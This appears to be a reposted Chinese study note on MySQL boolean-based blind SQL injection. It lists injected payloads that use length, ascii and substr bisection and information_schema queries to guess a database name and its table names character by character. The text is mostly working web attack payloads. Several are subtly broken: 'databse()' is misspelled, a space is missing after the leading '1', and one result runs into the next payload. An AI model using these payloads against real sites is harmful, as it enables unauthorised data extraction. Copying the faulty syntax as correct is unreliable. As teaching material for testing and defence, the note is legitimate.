學習筆記 MYSQL盲注


猜解當前數據庫名
輸入 1and length(database())=1 # ,顯示不存在;
輸入 1and length(database())=2 # ,顯示不存在;
輸入 1and length(database())=3 # ,顯示不存在;
輸入 1and length(database())=4 # ,顯示存在: 

采用二分法猜解數據庫名
 輸入 1and ascii(substr(databse(),1,1))>97 # ,顯示存在,說明數據庫名的第一個字符的 ascii 值大於 97 (小寫字母 a 的 ascii 值);
輸入 1and ascii(substr(databse(),1,1))<122 # ,顯示存在,說明數據庫名的第一個字符的 ascii 值小於 122 (小寫字母 z 的 ascii 值);
輸入 1and ascii(substr(databse(),1,1))<109 # ,顯示存在,說明數據庫名的第一個字符的 ascii 值小於 109 (小寫字母 m 的 ascii 值);
輸入 1and ascii(substr(databse(),1,1))<103 # ,顯示存在,說明數據庫名的第一個字符的 ascii 值小於 103 (小寫字母 g 的 ascii 值);
輸入 1and ascii(substr(databse(),1,1))<100 # ,顯示不存在,說明數據庫名的第一個字符的 ascii 值不小於 100 (小寫字母 d 的 ascii 值);
輸入 1and ascii(substr(databse(),1,1))>100 # ,顯示不存在,說明數據庫名的第一個字符的 ascii 值不大於 100 (小寫字母 d 的 ascii 值),所以數據庫名的第一個字符的 ascii 值為 100 ,即小寫字母 d 。 

猜解數據庫中的表名
1and (select count (table_name) from information_schema.tables where table_schema=database())=1 #顯示不存在
1and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #顯示存在 
1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #顯示不存在
1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #顯示不存在
…
1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #顯示存在
說明第一個表名長度為 91and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在
說明第一個表的名字的第一個字符為小寫字母g。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM